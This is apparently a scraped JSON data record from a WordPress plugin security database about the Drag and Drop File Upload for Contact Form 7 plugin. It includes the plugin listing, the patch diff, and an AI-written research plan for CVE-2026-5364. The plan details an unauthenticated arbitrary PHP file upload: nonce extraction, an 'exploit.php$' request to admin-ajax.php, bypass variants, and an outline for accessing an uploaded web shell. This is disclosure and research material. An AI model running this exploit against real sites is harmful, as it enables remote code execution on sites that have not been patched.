[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fZXbfxMziv01_zExZM-dKPMkx6W3yDO2quxM8B9UrIy4":3,"$fw7dKycH1lH4sDWQnZsQVDbKWyupmpnCuKpxngVTMgBU":358,"$fXgfYtUHZe-dVeMmSUeY2SqCjtwu5yLkinhwgxBP_v6s":362},{"slug":4,"name":5,"version":6,"author":7,"author_profile":8,"description":9,"short_description":10,"active_installs":11,"downloaded":12,"rating":13,"num_ratings":13,"last_updated":14,"tested_up_to":15,"requires_at_least":16,"requires_php":17,"tags":18,"homepage":24,"download_link":25,"security_score":26,"vuln_count":27,"unpatched_count":13,"last_vuln_date":28,"fetched_at":29,"discovery_status":30,"vulnerabilities":31,"developer":63,"crawl_stats":37,"alternatives":71,"analysis":181,"fingerprints":337},"drag-and-drop-file-upload-for-contact-form-7","Drag and Drop File Upload for Contact Form 7","1.1.4","add-ons.org","https:\u002F\u002Fprofiles.wordpress.org\u002Faddonsorg\u002F","\u003Cspan class=\"embed-youtube\" style=\"text-align:center; display: block;\">\u003Ciframe loading=\"lazy\" class=\"youtube-player\" width=\"750\" height=\"422\" src=\"https:\u002F\u002Fwww.youtube.com\u002Fembed\u002FvPc9YBP85b8?version=3&rel=1&showsearch=0&showinfo=1&iv_load_policy=1&fs=1&hl=en-US&autohide=2&wmode=transparent\" allowfullscreen=\"true\" style=\"border:0;\" sandbox=\"allow-scripts allow-same-origin allow-popups allow-presentation allow-popups-to-escape-sandbox\">\u003C\u002Fiframe>\u003C\u002Fspan>\n\u003Cp>\u003Cstrong>Drag and Drop File Upload for Contact Form 7\u003C\u002Fstrong> is the most advanced extension for CF7 that replaces the boring standard file upload field with a beautiful, high-performance \u003Cstrong>Drag and Drop\u003C\u002Fstrong> area.\u003C\u002Fp>\n\u003Cp>Built with modern AJAX technology, it allows your users to upload files in the background. No more form submission delays or timeouts for large files! Once the user drops a file, it starts uploading immediately, providing a smooth and professional user experience.\u003C\u002Fp>\n\u003Ch3>Why Choose This Plugin?\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>\u003Cstrong>Modern AJAX Upload\u003C\u002Fstrong>: Files upload instantly upon selection, reducing the chance of form submission errors by up to 80%.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Multiple Files Supported\u003C\u002Fstrong>: Give your users the freedom to upload one or dozens of files at once.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Email Attachments\u003C\u002Fstrong>: Automatically attach uploaded files to your Contact Form 7 emails without any extra configuration.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>SEO & Speed Optimized\u003C\u002Fstrong>: Lightweight JS and CSS ensure your site stays fast while looking premium.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Automatic Storage Management\u003C\u002Fstrong>: Includes a smart auto-cleanup feature to delete temporary files daily, keeping your server storage lean.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>\u003Cstrong>DEMO\u003C\u002Fstrong>: \u003Ca href=\"https:\u002F\u002Fdemo.add-ons.org\u002Fdemo-drag-and-drop-fields\u002F\" rel=\"nofollow ugc\">View Live Demo\u003C\u002Fa>\u003Cbr \u002F>\n\u003Cstrong>DOCUMENTATION\u003C\u002Fstrong>: \u003Ca href=\"https:\u002F\u002Fadd-ons.org\u002Fdocument-contact-form-7-drag-and-drop-files-multiple-files\u002F\" rel=\"nofollow ugc\">Setup Guide\u003C\u002Fa>\u003Cbr \u002F>\n\u003Cstrong>PRO VERSION\u003C\u002Fstrong>: \u003Ca href=\"https:\u002F\u002Fadd-ons.org\u002Fplugin\u002Fcontact-form-7-drag-and-drop-files-upload\u002F\" rel=\"nofollow ugc\">Download Premium\u003C\u002Fa>\u003C\u002Fp>\n\u003Ch3>Features\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>\u003Cstrong>Sleek Drag & Drop Interface\u003C\u002Fstrong>: Professional design that fits any theme.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>AJAX Progress Bar\u003C\u002Fstrong>: Let users see the upload status in real-time.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Multiple File Validation\u003C\u002Fstrong>: Set a minimum and maximum number of files allowed.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Custom File Types\u003C\u002Fstrong>: Restrict uploads to specific extensions (e.g., PDF, JPG, ZIP, DOCX).\u003C\u002Fli>\n\u003Cli>\u003Cstrong>File Size Limits\u003C\u002Fstrong>: Set custom MB limits per field to protect your server.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Image Previews\u003C\u002Fstrong>: (Pro) Show beautiful thumbnails before the form is even sent.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Mobile & Tablet Friendly\u003C\u002Fstrong>: Fully optimized for touch devices and mobile browsers.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Easy Tag Generator\u003C\u002Fstrong>: Standard CF7 tag generator integration for \u003Ccode>[file_uploads]\u003C\u002Fcode> fields.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Translation Ready\u003C\u002Fstrong>: Fully compatible with WPML, Polylang, and Loco Translate.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>PRO VERSION FEATURES\u003C\u002Fh3>\n\u003Cp>Unlock the full potential of your forms:\u003Cbr \u002F>\n– \u003Cstrong>Instant Image Previews\u003C\u002Fstrong>: Show thumbnails as soon as images are dropped.\u003Cbr \u002F>\n– \u003Cstrong>Multiple Upload Areas\u003C\u002Fstrong>: Use as many upload fields as you want on a single form.\u003Cbr \u002F>\n– \u003Cstrong>Premium Support\u003C\u002Fstrong>: Get help from our experts within 2 hours.\u003Cbr \u002F>\n– \u003Cstrong>File Renaming\u003C\u002Fstrong>: (Pro) Automatically rename files to avoid duplicates.\u003C\u002Fp>\n","Best Drag & Drop File Upload solution for Contact Form 7. Professional, fast AJAX-based uploading, and fully mobile responsive.",60,1356,0,"2026-04-03T07:35:00.000Z","6.9.4","5.0","",[19,20,21,22,23],"cf7-upload","contact-form-7","drag-and-drop","file-upload","multiple-file-upload","https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fdrag-and-drop-file-upload-for-contact-form-7\u002F","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fdrag-and-drop-file-upload-for-contact-form-7.1.1.4.zip",97,1,"2026-04-23 16:36:09","2026-04-16T10:56:18.058Z","no_bundle",[32],{"id":33,"url_slug":34,"title":35,"description":36,"plugin_slug":4,"theme_slug":37,"affected_versions":38,"patched_in_version":6,"severity":39,"cvss_score":40,"cvss_vector":41,"vuln_type":42,"published_date":28,"updated_date":43,"references":44,"days_to_patch":27,"patch_diff_files":46,"patch_trac_url":37,"research_status":52,"research_verified":53,"research_rounds_completed":54,"research_plan":55,"research_summary":56,"research_vulnerable_code":57,"research_fix_diff":58,"research_exploit_outline":59,"research_model_used":60,"research_started_at":61,"research_completed_at":62,"research_error":37,"poc_status":37,"poc_video_id":37,"poc_summary":37,"poc_steps":37,"poc_tested_at":37,"poc_wp_version":37,"poc_php_version":37,"poc_playwright_script":37,"poc_exploit_code":37,"poc_has_trace":53,"poc_model_used":37,"poc_verification_depth":37},"CVE-2026-5364","drag-and-drop-file-upload-for-contact-form-7-unauthenticated-arbitrary-file-upload-via-sanitizefilename-bypass","Drag and Drop File Upload for Contact Form 7 \u003C= 1.1.3 - Unauthenticated Arbitrary File Upload via sanitize_file_name Bypass","The Drag and Drop File Upload for Contact Form 7 plugin for WordPress is vulnerable to arbitrary file upload in versions up to, and including, 1.1.3. This is due to the plugin extracting the file extension before sanitization occurs and allowing the file type parameter to be controlled by the attacker rather than being restricted to administrator-configured values, which when combined with the fact that validation occurs on the unsanitized extension while the file is saved with a sanitized extension, allows special characters like '$' to be stripped during the save process. This makes it possible for unauthenticated attackers to upload arbitrary PHP files and potentially achieve remote code execution, however, an .htaccess file and name randomization is in place which restricts real-world exploitability.",null,"\u003C=1.1.3","high",8.1,"CVSS:3.1\u002FAV:N\u002FAC:H\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:H\u002FA:H","Unrestricted Upload of File with Dangerous Type","2026-04-24 05:29:41",[45],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F0548608d-17d5-46f4-9d64-6e3b0552bf9d?source=api-prod",[47,48,49,50,51],"backend\u002Findex.php","backend\u002Fsettings.php","drag-and-drop-file-upload-for-contact-form-7.php","frontend\u002Findex.php","frontend\u002Fjs\u002Fdropfiles-cf7.js","researched",false,3,"# Exploitation Research Plan - CVE-2026-5364\n\n## 1. Vulnerability Summary\nThe **Drag and Drop File Upload for Contact Form 7** plugin (up to 1.1.3) contains an unauthenticated arbitrary file upload vulnerability. The flaw exists in the AJAX handler `cf7_file_uploads` because it validates the file extension against an attacker-supplied list of \"allowed\" types before the filename is sanitized by WordPress. \n\nAn attacker can provide a filename with a trailing special character (like `exploit.php$`) and set the allowed types to include that specific extension (`php$`). The validation passes because `php$` is not in the plugin's hardcoded blacklist. However, when the file is saved, WordPress's `wp_unique_filename` (via `sanitize_file_name`) strips the trailing `$`, resulting in a `.php` file on the server.\n\n## 2. Attack Vector Analysis\n- **Endpoint**: `\u002Fwp-admin\u002Fadmin-ajax.php`\n- **AJAX Action**: `cf7_file_uploads` (registered for `nopriv` users in `backend\u002Findex.php`)\n- **Vulnerable Parameter**: `$_FILES['file']` (filename) and `$_REQUEST['type']` (allowed extensions).\n- **Authentication**: Unauthenticated.\n- **Preconditions**:\n    - The plugin must be active.\n    - A valid nonce for the `cf7_file_upload` action must be obtained.\n\n## 3. Code Flow\n1.  **Entry Point**: `Superaddons_Cf7_File_Uploads_Backend::cf7_file_uploads()` is triggered via `admin-ajax.php`.\n2.  **Nonce Bypass\u002FCheck**: It verifies a nonce using `wp_verify_nonce(..., 'cf7_file_upload')`.\n3.  **Extension Extraction**: `$file_extension = pathinfo( $file['name'], PATHINFO_EXTENSION );`\n    - If filename is `shell.php$`, `$file_extension` becomes `php$`.\n4.  **Filename Preparation**: `$filename = uniqid() . '.' . $file_extension;` (e.g., `65a1b2c3.php$`).\n5.  **Sanitization Sink**: `$filename = wp_unique_filename( $uploads_dir, $filename );`.\n    - `wp_unique_filename` calls `sanitize_file_name('65a1b2c3.php$')`, which strips the `$` to return `65a1b2c3.php`.\n6.  **Validation Check**: `$this->is_file_type_valid($type, $file)` is called.\n    - Inside `is_file_type_valid`, it re-extracts the extension from the *original* `$file['name']` (`php$`).\n    - It checks if `php$` is in the `$type` parameter (attacker-controlled).\n    - It checks if `php$` is in the `$blacklist` (`get_blacklist_file_ext()`). Since `php$` is not explicitly listed (only `php`, `php3`, etc.), it passes.\n7.  **File Save**: `move_uploaded_file( $file['tmp_name'], $new_file )` saves the file as `.php`.\n8.  **Information Disclosure**: The JSON response returns the full URL to the uploaded file.\n\n## 4. Nonce Acquisition Strategy\nThe nonce is generated on the frontend and localized for the script `cf7_file_uploads`.\n\n1.  **Create Test Page**: Since the scripts are enqueued on `wp_enqueue_scripts`, they should appear on most frontend pages. To be certain, create a page with a Contact Form 7 shortcode.\n    - Command: `wp post create --post_type=page --post_status=publish --post_title=\"Upload Form\" --post_content='[contact-form-7 id=\"DEFAULT_FORM_ID\"]'`\n2.  **Navigate and Extract**:\n    - Use `browser_navigate` to visit the newly created page.\n    - Use `browser_eval` to extract the nonce from the global JavaScript object defined in `frontend\u002Findex.php`.\n    - Variable: `window.cf7_file_uploads.nonce`\n\n## 5. Exploitation Strategy\n### Step 1: Obtain Nonce\nAccess the site frontend and read `window.cf7_file_uploads.nonce`.\n\n### Step 2: Perform Unauthenticated Upload\nSend a multipart\u002Fform-data request to `admin-ajax.php`.\n\n- **Method**: `POST`\n- **URL**: `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Parameters**:\n    - `action`: `cf7_file_uploads`\n    - `nonce`: `[EXTRACTED_NONCE]`\n    - `size`: `10` (Maximum size in MB)\n    - `type`: `php$` (This matches our payload extension to bypass validation)\n    - `type_upload`: `0` (Saves to `cf7-uploads-custom` directory)\n    - `file`: (The PHP file payload)\n        - `filename`: `exploit.php$`\n        - `content`: `\u003C?php echo \"POC_SUCCESS\"; ?>`\n\n### Step 3: Parse Response\nThe response will be a JSON object:\n```json\n{\n  \"status\": \"ok\",\n  \"text\": \"http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fuploads\u002Fcf7-uploads-custom\u002F65a1b2c3.php\"\n}\n```\n*Note: The trailing `$` is gone in the response because it reflects the actual sanitized filename on disk.*\n\n### Step 4: Verify Execution\nAccess the URL provided in the `text` field.\n\n## 6. Test Data Setup\n1.  **Plugins**: Ensure `contact-form-7` and `drag-and-drop-file-upload-for-contact-form-7` are installed and active.\n2.  **Contact Form**: Identify a valid Contact Form 7 ID.\n3.  **Page**: Create a public page with the form.\n    ```bash\n    FORM_ID=$(wp post list --post_type=wpcf7_contact_form --format=ids | awk '{print $1}')\n    wp post create --post_type=page --post_status=publish --post_content=\"[contact-form-7 id=\\\"$FORM_ID\\\"]\"\n    ```\n\n## 7. Expected Results\n- The AJAX request should return `{\"status\":\"ok\", \"text\":\"...\u002Fexploit.php\"}`.\n- Navigating to the returned URL should output `POC_SUCCESS`.\n- *Note*: If the server configuration prevents PHP execution in the uploads directory via the generated `.htaccess` (which sets `Content-Disposition: attachment`), the file will still be successfully uploaded as `.php`, confirming the \"Arbitrary File Upload\" vulnerability.\n\n## 8. Verification Steps\nAfter the exploit, use WP-CLI to check the filesystem:\n```bash\n# List files in the custom upload directory\nls -la \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fuploads\u002Fcf7-uploads-custom\u002F\n# Check content of the uploaded php file\ncat \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fuploads\u002Fcf7-uploads-custom\u002F*.php\n```\n\n## 9. Alternative Approaches\nIf `php$` is blocked by server-level security or if `pathinfo` behaves differently:\n- Try `php. ` (trailing dot and space) if the OS is Windows-based.\n- Try `php%00.jpg` (Null byte injection) if the PHP version is very old (unlikely for this plugin's era).\n- Try different special characters like `exploit.php\u002F` or `exploit.php.` which `sanitize_file_name` also strips.\n- If `type_upload=0` is restricted, try `type_upload=1` which saves to `cf7-uploads-save`.","The Drag and Drop File Upload for Contact Form 7 plugin is vulnerable to unauthenticated arbitrary file uploads due to an inconsistency between file extension validation and filename sanitization. Attackers can bypass the file type blacklist by appending special characters (like '$') to the filename, which are then stripped by the WordPress sanitization function after validation but before the file is saved to disk.","\u002F\u002F backend\u002Findex.php (v1.1.0)\n\nprivate function is_file_type_valid( $file_types, $file ) {\n    \u002F\u002F File type validation\n    if ( $file_types == \"\" )  {\n        $file_types = 'jpg|jpeg|png|gif|webp|pdf|doc|docx|ppt|pptx|odt|avi|ogg|m4a|mov|mp3|mp4|mpg|wav|wmv';\n    }\n    $file_extension = pathinfo( $file['name'], PATHINFO_EXTENSION );\n    $file_types_meta = explode( '|', $file_types );\n    $file_types_meta = array_map( 'trim', $file_types_meta );\n    $file_types_meta = array_map( 'strtolower', $file_types_meta );\n    $file_extension = strtolower( $file_extension );\n    return ( in_array( $file_extension, $file_types_meta ) && ! in_array( $file_extension, $this->get_blacklist_file_ext() ) );\n}\n\n---\n\nfunction cf7_file_uploads(){\n    if ( wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST[ 'nonce' ] ) ), 'cf7_file_upload' ) ) {\n        $file = $_FILES[\"file\"];\n        $size = sanitize_text_field( $_REQUEST[\"size\"] ); \n        $type = sanitize_text_field( $_REQUEST[\"type\"] ); \n        $type_upload = sanitize_text_field( $_REQUEST[\"type_upload\"] );\n        \u002F\u002F ...\n        $uploads_dir = $this->get_ensure_upload_dir($type_upload);\n        $file_extension = pathinfo( $file['name'], PATHINFO_EXTENSION );\n        $filename = uniqid() . '.' . $file_extension;\n        $filename = wp_unique_filename( $uploads_dir, $filename ); \u002F\u002F This strips characters like '$'\n        $new_file = trailingslashit( $uploads_dir ) . $filename; \n        \u002F\u002F valid file type?\n        if(!$this->is_file_type_valid($type,$file)){ \u002F\u002F Validates against original unsanitized extension\n            wp_send_json( array(\"status\"=>\"not\",\"text\"=>esc_html__( 'This file type is not allowed.', 'drag-and-drop-file-upload-for-contact-form-7' ) ) );\n            die();\n        }\n        \u002F\u002F ...\n        if ( is_dir( $uploads_dir ) && is_writable( $uploads_dir ) ) {\n            $move_new_file = @ move_uploaded_file( $file['tmp_name'], $new_file );","Only in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fdrag-and-drop-file-upload-for-contact-form-7\u002F1.1.0: add-ons.php\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fdrag-and-drop-file-upload-for-contact-form-7\u002F1.1.0\u002Fbackend\u002Findex.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fdrag-and-drop-file-upload-for-contact-form-7\u002F1.1.4\u002Fbackend\u002Findex.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fdrag-and-drop-file-upload-for-contact-form-7\u002F1.1.0\u002Fbackend\u002Findex.php\t2025-05-15 03:20:58.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fdrag-and-drop-file-upload-for-contact-form-7\u002F1.1.4\u002Fbackend\u002Findex.php\t2026-04-03 07:35:04.000000000 +0000\n@@ -121,114 +138,98 @@\n-    private function is_file_type_valid( $file_types, $file ) {\n-\t\t\u002F\u002F File type validation\n-\t\tif ( $file_types == \"\" )  {\n-\t\t\t$file_types = 'jpg|jpeg|png|gif|webp|pdf|doc|docx|ppt|pptx|odt|avi|ogg|m4a|mov|mp3|mp4|mpg|wav|wmv';\n-\t\t}\n-\t\t$file_extension = pathinfo( $file['name'], PATHINFO_EXTENSION );\n-\t\t$file_types_meta = explode( '|', $file_types );\n-\t\t$file_types_meta = array_map( 'trim', $file_types_meta );\n-\t\t$file_types_meta = array_map( 'strtolower', $file_types_meta );\n-\t\t$file_extension = strtolower( $file_extension );\n-\t\treturn ( in_array( $file_extension, $file_types_meta ) && ! in_array( $file_extension, $this->get_blacklist_file_ext() ) );\n-\t}\n-function cf7_file_uploads(){\n-    if ( wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST[ 'nonce' ] ) ), 'cf7_file_upload' ) ) {\n-        $file = $_FILES[\"file\"];\n-        $size = sanitize_text_field( $_REQUEST[\"size\"] ); \n-        $type = sanitize_text_field( $_REQUEST[\"type\"] ); \n-        $type_upload = sanitize_text_field( $_REQUEST[\"type_upload\"] );\n-        if($type_upload == 1 || $type_upload == 2){\n-            \u002F\u002Fsave file\n-        }else{\n-            $type_upload = 0;  \n-        }\n-        $uploads_dir = $this->get_ensure_upload_dir($type_upload);\n-        $file_extension = pathinfo( $file['name'], PATHINFO_EXTENSION );\n-        $filename = uniqid() . '.' . $file_extension;\n-        $filename = wp_unique_filename( $uploads_dir, $filename );\n-        $new_file = trailingslashit( $uploads_dir ) . $filename; \n-        \u002F\u002F valid file type?\n-        if(!$this->is_file_type_valid($type,$file)){\n-            wp_send_json( array(\"status\"=>\"not\",\"text\"=>esc_html__( 'This file type is not allowed.', 'drag-and-drop-file-upload-for-contact-form-7' ) ) );\n-            die();\n-        }\n-        \u002F\u002F allowed file size?\n-        if ( ! $this->is_file_size_valid( $size, $file ) ) {\n-            wp_send_json( array(\"status\"=>\"not\",\"text\"=>esc_html__( 'This file exceeds the maximum allowed size.', 'drag-and-drop-file-upload-for-contact-form-7' ) ) );\n-            die();\n-        }\n-        if ( is_dir( $uploads_dir ) && is_writable( $uploads_dir ) ) {\n-            $move_new_file = @ move_uploaded_file( $file['tmp_name'], $new_file );\n-            if ( false !== $move_new_file ) {\n-                \u002F\u002F Set correct file permissions.\n-                $perms = 0644;\n-                @ chmod( $new_file, $perms );\n-                wp_send_json( array(\"status\"=>\"ok\",\"text\"=>$this->get_file_url( $filename ,$type_upload ) ) );\n-            } else {\n-                wp_send_json( array(\"status\"=>\"not\",\"text\"=>esc_html__( 'There was an error while trying to upload your file.', 'drag-and-drop-file-upload-for-contact-form-7' ) ) );\n-            }\n-        }else{\n-            wp_send_json( array(\"status\"=>\"not\",\"text\"=>esc_html__( 'Upload directory is not writable or does not exist.', 'drag-and-drop-file-upload-for-contact-form-7' ) ) );\n-        }\n-    }\n-}\n+    private function is_file_type_valid($file_types, $file)\n+    {\n+        if (empty($file_types)) {\n+            $file_types = 'jpg|jpeg|png|gif|webp|pdf|doc|docx|ppt|pptx|odt|avi|ogg|m4a|mov|mp3|mp4|mpg|wav|wmv';\n+        }\n+        $extension = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));\n+        $allowed = array_map('trim', explode('|', strtolower($file_types)));\n+        return (in_array($extension, $allowed, true) && !in_array($extension, $this->get_blacklist_file_ext(), true));\n+    }\n+    \u002F**\n+     * Secure AJAX handler for file uploads using WordPress API.\n+     *\u002F\n+    public function cf7_file_uploads()\n+    {\n+        check_ajax_referer('cf7_file_upload', 'nonce');\n+        if (!isset($_FILES['file']) || empty($_FILES['file']['name'])) {\n+            wp_send_json_error(array(\"message\" => esc_html__('No file uploaded.', 'drag-and-drop-file-upload-for-contact-form-7')));\n+        }\n+        $file         = $_FILES['file']; \u002F\u002Fphpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized\n+        $size_limit   = isset($_POST['size']) ? sanitize_text_field(wp_unslash($_POST['size'])) : ''; \u002F\u002Fphpcs:ignore WordPress.Security.NonceVerification.Missing\n+        $type_limit   = isset($_POST['type']) ? sanitize_text_field(wp_unslash($_POST['type'])) : ''; \u002F\u002Fphpcs:ignore WordPress.Security.NonceVerification.Missing\n+        $type_upload  = isset($_POST['type_upload']) ? absint($_POST['type_upload']) : 0; \u002F\u002Fphpcs:ignore WordPress.Security.NonceVerification.Missing\n+        \u002F\u002F Security Validations\n+        if (!$this->is_file_type_valid($type_limit, $file)) {\n+            wp_send_json_error(array(\"message\" => esc_html__('This file type is not allowed.', 'drag-and-drop-file-upload-for-contact-form-7')));\n+        }\n+        if (!$this->is_file_size_valid($size_limit, $file)) {\n+            wp_send_json_error(array(\"message\" => esc_html__('This file exceeds the maximum allowed size.', 'drag-and-drop-file-upload-for-contact-form-7')));\n+        }\n+        if (!function_exists('wp_handle_upload')) {\n+            require_once(ABSPATH . 'wp-admin\u002Fincludes\u002Ffile.php');\n+        }\n+        $uploads_dir = $this->get_ensure_upload_dir($type_upload);\n+        \u002F\u002F Hook into WordPress upload directory to use our custom path\n+        $upload_dir_filter = function ($uploads) use ($uploads_dir) {\n+            $uploads['path']    = $uploads_dir;\n+            $uploads['basedir'] = $uploads_dir;\n+            return $uploads;\n+        };\n+        add_filter('upload_dir', $upload_dir_filter);\n+        $movefile = wp_handle_upload($file, array('test_form' => false));\n+        remove_filter('upload_dir', $upload_dir_filter);\n+        if ($movefile && !isset($movefile['error'])) {\n+            $filename = basename($movefile['file']);\n+            wp_send_json_success(array(\n+                \"status\" => \"ok\",\n+                \"text\"   => $this->get_file_url($filename, $type_upload)\n+            ));\n+        } else {\n+            wp_send_json_error(array(\"message\" => $movefile['error']));\n+        }\n+    }","1. **Obtain Nonce**: Access any frontend page on the site where a Contact Form 7 form is present. The nonce for the file upload AJAX action is localized in the JavaScript object `window.cf7_file_uploads.nonce`.\n2. **Craft Payload**: Create a PHP web shell file but name it with a trailing special character, for example: `shell.php$`.\n3. **Prepare AJAX Request**: Construct a multipart\u002Fform-data POST request to `\u002Fwp-admin\u002Fadmin-ajax.php`. The request should include the following parameters:\n    - `action`: `cf7_file_uploads`\n    - `nonce`: The extracted nonce.\n    - `file`: The web shell content with the filename `shell.php$`.\n    - `type`: `php$` (This matches the extension extracted by the plugin and bypasses the hardcoded blacklist which only checks for `php`, `phtml`, etc.).\n    - `size`: A sufficiently large integer (e.g., 10).\n4. **Execution Flow**: The server-side code extracts the extension `php$` from the file and checks if it's in the attacker-supplied `type` parameter. Because `php$` is not in the plugin's internal extension blacklist, validation passes. The plugin then calls `wp_unique_filename`, which utilizes WordPress's `sanitize_file_name` to strip the `$` character. The file is saved as `[unique_id].php`.\n5. **Access Shell**: The AJAX response returns the full URL of the uploaded file. Access this URL to execute arbitrary PHP code.","gemini-3-flash-preview","2026-04-27 13:34:43","2026-04-27 13:35:48",{"slug":64,"display_name":7,"profile_url":8,"plugin_count":65,"total_installs":66,"avg_security_score":67,"avg_patch_time_days":68,"trust_score":69,"computed_at":70},"addonsorg",59,26020,99,48,87,"2026-05-19T20:23:49.262Z",[72,94,118,138,159],{"slug":73,"name":74,"version":75,"author":76,"author_profile":77,"description":78,"short_description":79,"active_installs":80,"downloaded":81,"rating":82,"num_ratings":83,"last_updated":84,"tested_up_to":15,"requires_at_least":85,"requires_php":86,"tags":87,"homepage":91,"download_link":92,"security_score":67,"vuln_count":27,"unpatched_count":13,"last_vuln_date":93,"fetched_at":29},"multiline-files-for-contact-form-7","MultiLine Files for Contact Form 7","3.1.0","Maulik Vora","https:\u002F\u002Fprofiles.wordpress.org\u002Fzluck\u002F","\u003Cp>\u003Cstrong>MultiLine Files for Contact Form 7\u003C\u002Fstrong> is the ultimate solution for adding multiple file upload functionality to your Contact Form 7 forms. Whether you’re collecting documents, images, videos, or any other file types, this plugin provides a seamless, user-friendly experience that enhances your forms’ capabilities.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Why Choose MultiLine Files for Contact Form 7?\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cp>✅ \u003Cstrong>Unlimited File Uploads\u003C\u002Fstrong> – No restrictions on the number of files users can upload\u003Cbr \u002F>\n✅ \u003Cstrong>Intuitive User Interface\u003C\u002Fstrong> – Clean, responsive design that works on all devices\u003Cbr \u002F>\n✅ \u003Cstrong>Smart File Management\u003C\u002Fstrong> – Users can preview, remove, and manage files before submission\u003Cbr \u002F>\n✅ \u003Cstrong>Automatic ZIP Compression\u003C\u002Fstrong> – All files are automatically compressed into a single ZIP file for easy email delivery\u003Cbr \u002F>\n✅ \u003Cstrong>Advanced Security\u003C\u002Fstrong> – Built-in file type validation, size limits, and security measures\u003Cbr \u002F>\n✅ \u003Cstrong>Easy Integration\u003C\u002Fstrong> – Works seamlessly with Contact Form 7 without complex setup\u003Cbr \u002F>\n✅ \u003Cstrong>Fully Responsive\u003C\u002Fstrong> – Perfect experience on desktop, tablet, and mobile devices\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Perfect For:\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cul>\n\u003Cli>Document submission forms\u003C\u002Fli>\n\u003Cli>Portfolio uploads\u003C\u002Fli>\n\u003Cli>Job application forms\u003C\u002Fli>\n\u003Cli>Support ticket systems\u003C\u002Fli>\n\u003Cli>Content submission platforms\u003C\u002Fli>\n\u003Cli>Any form requiring multiple file attachments\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>How to change style?\u003C\u002Fh3>\n\u003Cp>If you want to change our plugin button or others file listing style and apply your custom style please add your custom css in your theme’s css file. Adding style in child theme is recommended. Here I have shown style guide for button and listing. so, you can easily update style of the elements.\u003C\u002Fp>\n\u003Col>\n\u003Cli>\n\u003Cp>\u003Cstrong>Buttton style:\u003C\u002Fstrong> \u003Ccode>#mfcf7_zl_add_file { background-color: #004834; }\u003C\u002Fcode>\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>‘X’ icon style:\u003C\u002Fstrong> \u003Ccode>.mfcf7_zl_multifilecontainer p .mfcf7_zl_delete_file i { color: azure; }\u003C\u002Fcode>\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Selected file name style:\u003C\u002Fstrong> \u003Ccode>.mfcf7-zl-multifile-name { color: black; }\u003C\u002Fcode>\u003C\u002Fp>\n\u003C\u002Fli>\n\u003C\u002Fol>\n\u003Ch3>Premium Features\u003C\u002Fh3>\n\u003Cp>\u003Cstrong>Upgrade to Pro for Advanced Features:\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cul>\n\u003Cli>🎯 \u003Cstrong>Multiple Upload Buttons\u003C\u002Fstrong> – Add multiple file upload fields in the same form\u003C\u002Fli>\n\u003Cli>📊 \u003Cstrong>File Limits\u003C\u002Fstrong> – Set minimum and maximum file count limits\u003C\u002Fli>\n\u003Cli>🎨 \u003Cstrong>Custom Positioning\u003C\u002Fstrong> – Change the location of the file list display\u003C\u002Fli>\n\u003Cli>🗑️ \u003Cstrong>Individual File Removal\u003C\u002Fstrong> – Remove files one by one even when selected together\u003C\u002Fli>\n\u003Cli>🚀 \u003Cstrong>Priority Support\u003C\u002Fstrong> – Get faster response times and dedicated support\u003C\u002Fli>\n\u003Cli>🔧 \u003Cstrong>Advanced Customization\u003C\u002Fstrong> – More styling and configuration options\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>\u003Ca href=\"https:\u002F\u002F1.envato.market\u002F9W6qL4\" rel=\"nofollow ugc\">Get Pro Version Now\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Need Help?\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cul>\n\u003Cli>📧 \u003Cstrong>Email Support\u003C\u002Fstrong>: Contact us through the WordPress.org support forums\u003C\u002Fli>\n\u003Cli>🐛 \u003Cstrong>Bug Reports\u003C\u002Fstrong>: Report issues on our GitHub repository\u003C\u002Fli>\n\u003Cli>💡 \u003Cstrong>Feature Requests\u003C\u002Fstrong>: Suggest new features via our support 